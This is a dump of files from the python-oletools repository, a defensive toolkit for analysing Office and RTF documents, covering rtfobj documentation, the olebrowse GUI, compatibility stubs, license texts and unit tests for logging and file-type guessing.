76 | 77 | -------------------------------------------------------------------------- 78 | 79 | python-oletools documentation 80 | ----------------------------- 81 | 82 | - [[Home]] 83 | - [[License]] 84 | - [[Install]] 85 | - [[Contribute]], Suggest Improvements or Report Issues 86 | - Tools: 87 | - [[mraptor]] 88 | - [[msodde]] 89 | - [[olebrowse]] 90 | - [[oledir]] 91 | - [[oleid]] 92 | - [[olemap]] 93 | - [[olemeta]] 94 | - [[oleobj]] 95 | - [[oletimes]] 96 | - [[olevba]] 97 | - [[pyxswf]] 98 | - [[rtfobj]] 99 | -------------------------------------------------------------------------------- /oletools/doc/rtfobj.md: -------------------------------------------------------------------------------- 1 | rtfobj 2 | ====== 3 | 4 | rtfobj is a Python module to detect and extract embedded objects stored 5 | in RTF files, such as OLE objects. It can also detect OLE Package objects, 6 | and extract the embedded files. 7 | 8 | Since v0.50, rtfobj contains a custom RTF parser that has been designed to 9 | match MS Word's behaviour, in order to handle obfuscated RTF files. See my 10 | article ["Anti-Analysis Tricks in Weaponized RTF"](http://decalage.info/rtf_tricks) 11 | for some concrete examples. 12 | 13 | rtfobj can be used as a Python library or a command-line tool. 14 | 15 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 16 | 17 | ## Usage 18 | 19 | ```text 20 | rtfobj [options] [filename2 ...] 21 | 22 | Options: 23 | -h, --help show this help message and exit 24 | -r find files recursively in subdirectories. 25 | -z ZIP_PASSWORD, --zip=ZIP_PASSWORD 26 | if the file is a zip archive, open first file from it, 27 | using the provided password (requires Python 2.6+) 28 | -f ZIP_FNAME, --zipfname=ZIP_FNAME 29 | if the file is a zip archive, file(s) to be opened 30 | within the zip. Wildcards * and ? are supported. 31 | (default:*) 32 | -l LOGLEVEL, --loglevel=LOGLEVEL 33 | logging level debug/info/warning/error/critical 34 | (default=warning) 35 | -s SAVE_OBJECT, --save=SAVE_OBJECT 36 | Save the object corresponding to the provided number 37 | to a file, for example "-s 2". Use "-s all" to save 38 | all objects at once. 39 | -d OUTPUT_DIR use specified directory to save output files. 40 | ``` 41 | 42 | rtfobj displays a list of the OLE and Package objects that have been detected, 43 | with their attributes such as class and filename. 44 | 45 | When an OLE Package object contains an executable file or script, it is 46 | highlighted as such. For example: 47 | 48 | ![](rtfobj1.png) 49 | 50 | To extract an object or file, use the option -s followed by the object number 51 | as shown in the table. 52 | 53 | Example: 54 | 55 | ```text 56 | rtfobj -s 0 57 | ``` 58 | 59 | It extracts and decodes the corresponding object, and saves it as a file 60 | named "object_xxxx.bin", xxxx being the location of the object in the RTF file. 61 | 62 | 63 | ## How to use rtfobj in Python applications 64 | 65 | As of v0.50, the API has changed significantly and it is not final yet. 66 | For now, see the class RtfObjectParser in the code. 67 | 68 | ### Deprecated API (still functional): 69 | 70 | rtf_iter_objects(filename) is an iterator which yields a tuple 71 | (index, orig_len, object) providing the index of each hexadecimal stream 72 | in the RTF file, and the corresponding decoded object. 73 | 74 | Example: 75 | 76 | ```python 77 | from oletools import rtfobj 78 | for index, orig_len, data in rtfobj.rtf_iter_objects("myfile.rtf"): 79 | print('found object size %d at index %08X' % (len(data), index)) 80 | ``` 81 | 82 | -------------------------------------------------------------------------- 83 | 84 | python-oletools documentation 85 | ----------------------------- 86 | 87 | - [[Home]] 88 | - [[License]] 89 | - [[Install]] 90 | - [[Contribute]], Suggest Improvements or Report Issues 91 | - Tools: 92 | - [[mraptor]] 93 | - [[msodde]] 94 | - [[olebrowse]] 95 | - [[oledir]] 96 | - [[oleid]] 97 | - [[olemap]] 98 | - [[olemeta]] 99 | - [[oleobj]] 100 | - [[oletimes]] 101 | - [[olevba]] 102 | - [[pyxswf]] 103 | - [[rtfobj]] 104 | -------------------------------------------------------------------------------- /oletools/mraptor3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # mraptor3 is a stub that redirects to mraptor.py, for backwards compatibility 4 | 5 | import sys, os, warnings 6 | 7 | warnings.warn('mraptor3 is deprecated, mraptor should be used instead.', DeprecationWarning) 8 | 9 | # IMPORTANT: it should be possible to run oletools directly as scripts 10 | # in any directory without installing them with pip or setup.py. 11 | # In that case, relative imports are NOT usable. 12 | # And to enable Python 2+3 compatibility, we need to use absolute imports, 13 | # so we add the oletools parent folder to sys.path (absolute+normalized path): 14 | _thismodule_dir = os.path.normpath(os.path.abspath(os.path.dirname(__file__))) 15 | _parent_dir = os.path.normpath(os.path.join(_thismodule_dir, '..')) 16 | if _parent_dir not in sys.path: 17 | sys.path.insert(0, _parent_dir) 18 | 19 | from oletools.mraptor import * 20 | from oletools.mraptor import __doc__, __version__ 21 | 22 | if __name__ == '__main__': 23 | main() 24 | -------------------------------------------------------------------------------- /oletools/olebrowse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | olebrowse.py 4 | 5 | A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to 6 | view and extract individual data streams. 7 | 8 | Usage: olebrowse.py [file] 9 | 10 | olebrowse project website: http://www.decalage.info/python/olebrowse 11 | 12 | olebrowse is part of the python-oletools package: 13 | http://www.decalage.info/python/oletools 14 | 15 | olebrowse is copyright (c) 2012-2019, Philippe Lagadec (http://www.decalage.info) 16 | All rights reserved. 17 | 18 | Redistribution and use in source and binary forms, with or without modification, 19 | are permitted provided that the following conditions are met: 20 | 21 | * Redistributions of source code must retain the above copyright notice, this 22 | list of conditions and the following disclaimer. 23 | * Redistributions in binary form must reproduce the above copyright notice, 24 | this list of conditions and the following disclaimer in the documentation 25 | and/or other materials provided with the distribution. 26 | 27 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 28 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 29 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 30 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 31 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 32 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 33 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 34 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 35 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 36 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 37 | """ 38 | 39 | #------------------------------------------------------------------------------ 40 | # CHANGELOG: 41 | # 2012-09-17 v0.01 PL: - first version 42 | # 2014-11-29 v0.02 PL: - use olefile instead of OleFileIO_PL 43 | # 2017-04-26 v0.51 PL: - fixed absolute imports (issue #141) 44 | # 2018-09-11 v0.54 PL: - olefile is now a dependency 45 | 46 | __version__ = '0.54' 47 | 48 | #------------------------------------------------------------------------------ 49 | # TODO: 50 | # - menu option to open another file 51 | # - menu option to display properties 52 | # - menu option to run other oletools, external tools such as OfficeCat? 53 | # - for a stream, display info: size, path, etc 54 | # - stream info: magic, entropy, ... ? 55 | 56 | # === IMPORTS ================================================================ 57 | 58 | import optparse, sys, os 59 | 60 | # IMPORTANT: it should be possible to run oletools directly as scripts 61 | # in any directory without installing them with pip or setup.py. 62 | # In that case, relative imports are NOT usable. 63 | # And to enable Python 2+3 compatibility, we need to use absolute imports, 64 | # so we add the oletools parent folder to sys.path (absolute+normalized path): 65 | _thismodule_dir = os.path.normpath(os.path.abspath(os.path.dirname(__file__))) 66 | # print('_thismodule_dir = %r' % _thismodule_dir) 67 | _parent_dir = os.path.normpath(os.path.join(_thismodule_dir, '..')) 68 | # print('_parent_dir = %r' % _thirdparty_dir) 69 | if not _parent_dir in sys.path: 70 | sys.path.insert(0, _parent_dir) 71 | 72 | import easygui 73 | import olefile 74 | from oletools import ezhexviewer 75 | 76 | ABOUT = '~ About olebrowse' 77 | QUIT = '~ Quit' 78 | 79 | 80 | def about (): 81 | """ 82 | Display information about this tool 83 | """ 84 | easygui.textbox(title='About olebrowse', text=__doc__) 85 | 86 | 87 | def browse_stream (ole, stream): 88 | """ 89 | Browse a stream (hex view or save to file) 90 | """ 91 | #print 'stream:', stream 92 | while True: 93 | msg ='Select an action for the stream "%s", or press Esc to exit' % repr(stream) 94 | actions = [ 95 | 'Hex view', 96 | ## 'Text view', 97 | ## 'Repr view', 98 | 'Save stream to file', 99 | '~ Back to main menu', 100 | ] 101 | action = easygui.choicebox(msg, title='olebrowse', choices=actions) 102 | if action is None or 'Back' in action: 103 | break 104 | elif action.startswith('Hex'): 105 | data = ole.openstream(stream).getvalue() 106 | ezhexviewer.hexview_data(data, msg='Stream: %s' % stream, title='olebrowse') 107 | ## elif action.startswith('Text'): 108 | ## data = ole.openstream(stream).getvalue() 109 | ## easygui.codebox(title='Text view - %s' % stream, text=data) 110 | ## elif action.startswith('Repr'): 111 | ## data = ole.openstream(stream).getvalue() 112 | ## easygui.codebox(title='Repr view - %s' % stream, text=repr(data)) 113 | elif action.startswith('Save'): 114 | data = ole.openstream(stream).getvalue() 115 | fname = easygui.filesavebox(default='stream.bin') 116 | if fname is not None: 117 | f = open(fname, 'wb') 118 | f.write(data) 119 | f.close() 120 | easygui.msgbox('stream saved to file %s' % fname) 121 | 122 | 123 | 124 | def main(): 125 | """ 126 | Main function 127 | """ 128 | try: 129 | filename = sys.argv[1] 130 | except: 131 | filename = easygui.fileopenbox() 132 | try: 133 | ole = olefile.OleFileIO(filename) 134 | listdir = ole.listdir() 135 | streams = [] 136 | for direntry in listdir: 137 | #print direntry 138 | streams.append('/'.join(direntry)) 139 | streams.append(ABOUT) 140 | streams.append(QUIT) 141 | stream = True 142 | while stream is not None: 143 | msg ="Select a stream, or press Esc to exit" 144 | title = "olebrowse" 145 | stream = easygui.choicebox(msg, title, streams) 146 | if stream is None or stream == QUIT: 147 | break 148 | if stream == ABOUT: 149 | about() 150 | else: 151 | browse_stream(ole, stream) 152 | except: 153 | easygui.exceptionbox() 154 | 155 | 156 | 157 | 158 | if __name__ == '__main__': 159 | main() 160 | -------------------------------------------------------------------------------- /oletools/olevba3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # olevba3 is a stub that redirects to olevba.py, for backwards compatibility 4 | 5 | import sys, os, warnings 6 | 7 | warnings.warn('olevba3 is deprecated, olevba should be used instead.', DeprecationWarning) 8 | 9 | # IMPORTANT: it should be possible to run oletools directly as scripts 10 | # in any directory without installing them with pip or setup.py. 11 | # In that case, relative imports are NOT usable. 12 | # And to enable Python 2+3 compatibility, we need to use absolute imports, 13 | # so we add the oletools parent folder to sys.path (absolute+normalized path): 14 | _thismodule_dir = os.path.normpath(os.path.abspath(os.path.dirname(__file__))) 15 | _parent_dir = os.path.normpath(os.path.join(_thismodule_dir, '..')) 16 | if _parent_dir not in sys.path: 17 | sys.path.insert(0, _parent_dir) 18 | 19 | from oletools.olevba import * 20 | from oletools.olevba import __doc__, __version__ 21 | 22 | if __name__ == '__main__': 23 | main() 24 | 25 | -------------------------------------------------------------------------------- /oletools/thirdparty/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/thirdparty/__init__.py -------------------------------------------------------------------------------- /oletools/thirdparty/oledump/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/thirdparty/oledump/__init__.py -------------------------------------------------------------------------------- /oletools/thirdparty/oledump/oledump_extract.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Small extract of oledump.py to be able to run plugin_biff from olevba 4 | 5 | __description__ = 'Analyze OLE files (Compound Binary Files)' 6 | __author__ = 'Didier Stevens' 7 | __version__ = '0.0.49' 8 | __date__ = '2020/03/28' 9 | 10 | """ 11 | 12 | Source code put in public domain by Didier Stevens, no Copyright 13 | https://DidierStevens.com 14 | Use at your own risk 15 | """ 16 | 17 | class cPluginParent(): 18 | macroOnly = False 19 | indexQuiet = False 20 | 21 | plugins = [] 22 | 23 | def AddPlugin(cClass): 24 | global plugins 25 | 26 | plugins.append(cClass) 27 | 28 | 29 | # CIC: Call If Callable 30 | def CIC(expression): 31 | if callable(expression): 32 | return expression() 33 | else: 34 | return expression 35 | 36 | # IFF: IF Function 37 | def IFF(expression, valueTrue, valueFalse): 38 | if expression: 39 | return CIC(valueTrue) 40 | else: 41 | return CIC(valueFalse) 42 | 43 | def P23Ord(value): 44 | if type(value) == int: 45 | return value 46 | else: 47 | return ord(value) 48 | 49 | def P23Chr(value): 50 | if type(value) == int: 51 | return chr(value) 52 | else: 53 | return value 54 | -------------------------------------------------------------------------------- /oletools/thirdparty/prettytable/COPYING: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2009-2013 Luke Maurits 2 | # All rights reserved. 3 | # With contributions from: 4 | # * Chris Clark 5 | # * Christoph Robbert 6 | # * Klein Stephane 7 | # * "maartendb" 8 | # 9 | # Redistribution and use in source and binary forms, with or without 10 | # modification, are permitted provided that the following conditions are met: 11 | # 12 | # * Redistributions of source code must retain the above copyright notice, 13 | # this list of conditions and the following disclaimer. 14 | # * Redistributions in binary form must reproduce the above copyright notice, 15 | # this list of conditions and the following disclaimer in the documentation 16 | # and/or other materials provided with the distribution. 17 | # * The name of the author may not be used to endorse or promote products 18 | # derived from this software without specific prior written permission. 19 | # 20 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 23 | # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 24 | # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | # POSSIBILITY OF SUCH DAMAGE. 31 | -------------------------------------------------------------------------------- /oletools/thirdparty/prettytable/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/thirdparty/prettytable/__init__.py -------------------------------------------------------------------------------- /oletools/thirdparty/tablestream/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/thirdparty/tablestream/__init__.py -------------------------------------------------------------------------------- /oletools/thirdparty/xglob/LICENSE.txt: -------------------------------------------------------------------------------- 1 | LICENSE: 2 | 3 | xglob is copyright (c) 2013-2015, Philippe Lagadec (http://www.decalage.info) 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without modification, 7 | are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | * Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 16 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 17 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 18 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 19 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 20 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 21 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 22 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 23 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 24 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | -------------------------------------------------------------------------------- /oletools/thirdparty/xglob/__init__.py: -------------------------------------------------------------------------------- 1 | from .xglob import * -------------------------------------------------------------------------------- /oletools/thirdparty/xxxswf/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/thirdparty/xxxswf/__init__.py -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyparsing>=2.1.0,<4 2 | olefile>=0.46 3 | easygui 4 | colorclass 5 | msoffcrypto-tool; platform_python_implementation!="PyPy" or (python_version>="3" and platform_system!="Windows" and platform_system!="Darwin") 6 | pcodedmp>=1.2.5 -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/__init__.py -------------------------------------------------------------------------------- /tests/common/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/common/__init__.py -------------------------------------------------------------------------------- /tests/common/log_helper/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/common/log_helper/__init__.py -------------------------------------------------------------------------------- /tests/common/log_helper/log_helper_test_imported.py: -------------------------------------------------------------------------------- 1 | """ 2 | Dummy file that logs messages, meant to be imported 3 | by the main test file 4 | """ 5 | 6 | from oletools.common.log_helper import log_helper 7 | import warnings 8 | 9 | DEBUG_MESSAGE = 'imported: debug log' 10 | INFO_MESSAGE = 'imported: info log' 11 | WARNING_MESSAGE = 'imported: warning log' 12 | ERROR_MESSAGE = 'imported: error log' 13 | CRITICAL_MESSAGE = 'imported: critical log' 14 | RESULT_MESSAGE = 'imported: result log' 15 | 16 | RESULT_TYPE = 'imported: result' 17 | ACTUAL_WARNING = 'Feature XYZ provided by this module might be deprecated at '\ 18 | 'some point in the future ... or not' 19 | 20 | logger = log_helper.get_or_create_silent_logger('test_imported') 21 | 22 | def enable_logging(): 23 | """Enable logging if imported by third party modules.""" 24 | logger.setLevel(log_helper.NOTSET) 25 | 26 | 27 | def log(): 28 | logger.debug(DEBUG_MESSAGE) 29 | logger.info(INFO_MESSAGE) 30 | logger.warning(WARNING_MESSAGE) 31 | logger.error(ERROR_MESSAGE) 32 | logger.critical(CRITICAL_MESSAGE) 33 | logger.info(RESULT_MESSAGE, type=RESULT_TYPE) 34 | 35 | 36 | def warn(): 37 | warnings.warn(ACTUAL_WARNING) 38 | -------------------------------------------------------------------------------- /tests/common/log_helper/log_helper_test_main.py: -------------------------------------------------------------------------------- 1 | """ Test log_helpers """ 2 | 3 | import sys 4 | import logging 5 | import warnings 6 | from tests.common.log_helper import log_helper_test_imported 7 | from oletools.common.log_helper import log_helper 8 | 9 | DEBUG_MESSAGE = 'main: debug log' 10 | INFO_MESSAGE = 'main: info log' 11 | WARNING_MESSAGE = 'main: warning log' 12 | ERROR_MESSAGE = 'main: error log' 13 | CRITICAL_MESSAGE = 'main: critical log' 14 | RESULT_MESSAGE = 'main: result log' 15 | 16 | RESULT_TYPE = 'main: result' 17 | ACTUAL_WARNING = 'Warnings can pop up anywhere, have to be prepared!' 18 | 19 | logger = log_helper.get_or_create_silent_logger('test_main') 20 | 21 | 22 | def enable_logging(): 23 | """Enable logging if imported by third party modules.""" 24 | logger.setLevel(log_helper.NOTSET) 25 | log_helper_test_imported.enable_logging() 26 | 27 | 28 | def main(args): 29 | """ 30 | Try to cover possible logging scenarios. For each scenario covered, here's 31 | the expected args and outcome: 32 | - Log without enabling: [''] 33 | * logging when being imported - should never print 34 | - Log as JSON without enabling: ['as-json', ''] 35 | * logging as JSON when being imported - should never print 36 | - Enable and log: ['enable', ''] 37 | * logging when being run as script - should log messages 38 | - Enable and log as JSON: ['as-json', 'enable', ''] 39 | * logging as JSON when being run as script - should log messages as JSON 40 | - Enable, log as JSON and throw: ['enable', 'as-json', 'throw', ''] 41 | * should produce JSON-compatible output, even after an unhandled exception 42 | - Enable, log as JSON and warn: ['enable', 'as-json', 'warn', ''] 43 | * should produce JSON-compatible output, even after a warning 44 | """ 45 | 46 | # the level should always be the last argument passed 47 | level = args[-1] 48 | use_json = 'as-json' in args 49 | throw = 'throw' in args 50 | percent_autoformat = '%-autoformat' in args 51 | warn = 'warn' in args 52 | exc_info = 'exc-info' in args 53 | wrong_log_args = 'wrong-log-args' in args 54 | 55 | log_helper_test_imported.logger.setLevel(logging.ERROR) 56 | 57 | if 'enable' in args: 58 | log_helper.enable_logging(use_json, level, stream=sys.stdout) 59 | 60 | do_log(percent_autoformat) 61 | 62 | if throw: 63 | raise Exception('An exception occurred before ending the logging') 64 | 65 | if warn: 66 | warnings.warn(ACTUAL_WARNING) 67 | log_helper_test_imported.warn() 68 | 69 | if exc_info: 70 | try: 71 | raise Exception('This is an exception') 72 | except Exception: 73 | logger.exception('Caught exception') # has exc_info=True 74 | 75 | if wrong_log_args: 76 | logger.info('Opening file /dangerous/file/with-%s-in-name') 77 | logger.info('The result is %f') 78 | logger.info('No result', 1.23) 79 | logger.info('The result is %f', 'bla') 80 | 81 | log_helper.end_logging() 82 | 83 | 84 | def do_log(percent_autoformat=False): 85 | if percent_autoformat: 86 | logger.info('The %s is %d.', 'answer', 47) 87 | 88 | logger.debug(DEBUG_MESSAGE) 89 | logger.info(INFO_MESSAGE) 90 | logger.warning(WARNING_MESSAGE) 91 | logger.error(ERROR_MESSAGE) 92 | logger.critical(CRITICAL_MESSAGE) 93 | logger.info(RESULT_MESSAGE, type=RESULT_TYPE) 94 | log_helper_test_imported.log() 95 | 96 | 97 | if __name__ == '__main__': 98 | main(sys.argv[1:]) 99 | -------------------------------------------------------------------------------- /tests/common/log_helper/third_party_importer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Module for testing import of common logging modules by third party modules. 5 | 6 | This module behaves like a third party module. It does not use the common 7 | logging and enables logging on its own. But it imports log_helper_test_main. 8 | """ 9 | 10 | import sys 11 | import logging 12 | 13 | from tests.common.log_helper import log_helper_test_main 14 | 15 | 16 | def main(args): 17 | """ 18 | Main function, called when running file as script 19 | 20 | see module doc for more info 21 | """ 22 | logging.basicConfig(level=logging.INFO) 23 | if 'enable' in args: 24 | log_helper_test_main.enable_logging() 25 | 26 | logging.debug('Should not show.') 27 | logging.info('Start message from 3rd party importer') 28 | 29 | log_helper_test_main.do_log() 30 | 31 | logging.debug('Returning 0, but you will never see that ... .') 32 | logging.info('End message from 3rd party importer') 33 | return 0 34 | 35 | 36 | if __name__ == '__main__': 37 | sys.exit(main(sys.argv[1:])) 38 | -------------------------------------------------------------------------------- /tests/common/test_clsid.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from oletools.common.clsid import KNOWN_CLSIDS 4 | 5 | 6 | class TestCommonClsid(unittest.TestCase): 7 | 8 | def test_known_clsids_uppercase(self): 9 | for k, v in KNOWN_CLSIDS.items(): 10 | k_upper = k.upper() 11 | self.assertEqual(k, k_upper) 12 | -------------------------------------------------------------------------------- /tests/ftguess/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/tests/ftguess/__init__.py -------------------------------------------------------------------------------- /tests/ftguess/test_basic.py: -------------------------------------------------------------------------------- 1 | """Test ftguess""" 2 | import unittest 3 | import os 4 | from os.path import splitext, join 5 | from oletools import ftguess 6 | 7 | # Directory with test data, independent of current working directory 8 | from tests.test_utils import DATA_BASE_DIR 9 | from tests.test_utils.testdata_reader import loop_over_files 10 | 11 | 12 | class TestFTGuess(unittest.TestCase): 13 | """Test ftguess""" 14 | 15 | def test_all(self): 16 | """Run all files in test-data and compare to known ouput""" 17 | # ftguess knows extension for each FType, create a reverse mapping 18 | used_types = ( 19 | ftguess.FType_RTF, ftguess.FType_Generic_OLE, 20 | ftguess.FType_Generic_Zip, ftguess.FType_Word97, 21 | ftguess.FType_Word2007, ftguess.FType_Word2007_Macro, 22 | ftguess.FType_Word2007_Template, 23 | ftguess.FType_Word2007_Template_Macro, ftguess.FType_Excel97, 24 | ftguess.FType_Excel2007, ftguess.FType_Excel2007_XLSB, 25 | ftguess.FType_Excel2007_XLSX , ftguess.FType_Excel2007_XLSM , 26 | ftguess.FType_Excel2007_Template, 27 | ftguess.FType_Excel2007_Template_Macro, 28 | ftguess.FType_Excel2007_Addin_Macro, ftguess.FType_Powerpoint97, 29 | ftguess.FType_Powerpoint2007_Presentation, 30 | ftguess.FType_Powerpoint2007_Slideshow, 31 | ftguess.FType_Powerpoint2007_Macro, 32 | ftguess.FType_Powerpoint2007_Slideshow_Macro, 33 | ftguess.FType_XPS, 34 | ) 35 | ftype_for_extension = dict() 36 | for ftype in used_types: 37 | for extension in ftype.extensions: 38 | ftype_for_extension[extension] = ftype 39 | 40 | for filename, file_contents in loop_over_files(): 41 | # let the system guess 42 | guess = ftguess.ftype_guess(data=file_contents) 43 | #print(f'for debugging: {filename} --> {guess}') 44 | 45 | # determine what we expect... 46 | before_dot, extension = splitext(filename) 47 | if extension == '.zip': 48 | extension = splitext(before_dot)[1] 49 | elif filename in (join('basic', 'empty'), join('basic', 'text')): 50 | extension = '.csv' # have just like that 51 | elif not extension: 52 | self.fail('Could not find extension for test sample {0}' 53 | .format(filename)) 54 | extension = extension[1:] # remove the leading '.' 55 | 56 | # encrypted files are mostly not recognized (yet?), except .xls 57 | if filename.startswith('encrypted' + os.sep): 58 | if extension == 'xls': 59 | expect = ftguess.FType_Excel97 60 | else: 61 | expect = ftguess.FType_Generic_OLE 62 | 63 | elif extension in ('xml', 'csv', 'odt', 'ods', 'odp', 'potx', 'potm'): 64 | # not really an office file type 65 | expect = ftguess.FType_Unknown 66 | 67 | elif extension == 'slk': 68 | # not implemented yet 69 | expect = ftguess.FType_Unknown 70 | 71 | elif filename == join('basic', 'encrypted.docx'): 72 | expect = ftguess.FType_Generic_OLE 73 | 74 | elif 'excel5' in filename: 75 | # excel5 and excel97 have the same extensions, so we did not 76 | # include excel5 in "used_types" above. 77 | expect = ftguess.FType_Excel5 78 | 79 | else: 80 | # other files behave nicely, so extension determines the type 81 | expect = ftype_for_extension[extension] 82 | 83 | self.assertEqual(guess.container, expect.container, 84 | msg='ftguess guessed container {0} for {1} ' 85 | 'but we expected {2}' 86 | .format(guess.container, filename, 87 | expect.container)) 88 | self.assertEqual(guess.filetype, expect.filetype, 89 | msg='ftguess guessed filetype {0} for {1} ' 90 | 'but we expected {2}' 91 | .format(guess.filetype, filename, 92 | expect.filetype)) 93 | self.assertEqual(guess.application, expect.application, 94 | msg='ftguess guessed application {0} for {1} ' 95 | 'but we expected {2}' 96 | .format(guess.application, filename, 97 | expect.application)) 98 | 99 | if expect not in (ftguess.FType_Generic_OLE, ftguess.FType_Unknown): 100 | self.assertEqual(guess.is_excel(), extension.startswith('x') 101 | and extension != 'xml' 102 | and extension != 'xps') 103 | self.assertEqual(guess.is_word(), extension.startswith('d')) 104 | self.assertEqual(guess.is_powerpoint(), 105 | extension.startswith('p')) 106 | 107 | 108 | 109 | # just in case somebody calls this file as a script 110 | if __name__ == '__main__': 111 | unittest.main() 112 | -------------------------------------------------------------------------------- /tests/howto_add_unittests.txt: -------------------------------------------------------------------------------- 1 | Howto: Add unittests 2 | -------------------- 3 | 4 | Note: The following are just guidelines to help inexperienced users create unit 5 | tests. The python unittest library (see 6 | https://docs.python.org/2/library/unittest.html) offers much more flexibility 7 | than described here. 8 | 9 | For helping python's unittest to discover your tests, do the following: 10 | 11 | * create a subdirectory within oletools/tests/ 12 | - The directory name must be a valid python package name, 13 | so must not include '-', for example 14 | - e.g. oletools/tests/my_feature 15 | 16 | * Create a __init__.py inside that directory 17 | - can be empty but must be there 18 | 19 | * Copy the unittest_template.py into your test directory 20 | 21 | * Rename your copy of the template to fit its purpose 22 | - file name must start with 'test' and end with '.py' 23 | - e.g. oletools/tests/my_feature/test_bla.py 24 | 25 | * Create python code inside that directory 26 | - classes names must start with Test and must be subclasses 27 | of Unittest.TestCase 28 | - test functions inside your test cases must start with test_ 29 | - see unittest_template.py for examples 30 | 31 | * If your unit test requires test files, put them into a subdir 32 | of oletools/tests/test-data with some name that clarifies what 33 | tests it belongs to 34 | - e.g. oletools/tests/test-data/my_feature/example.doc 35 | - Do not add files with actual evil malware macros! Only harmless 36 | test data! 37 | 38 | * Test that unittests work by running from the oletools base dir: 39 | python -m unittest discover -v 40 | 41 | * Re-test with python2 and python3 (if possible) 42 | 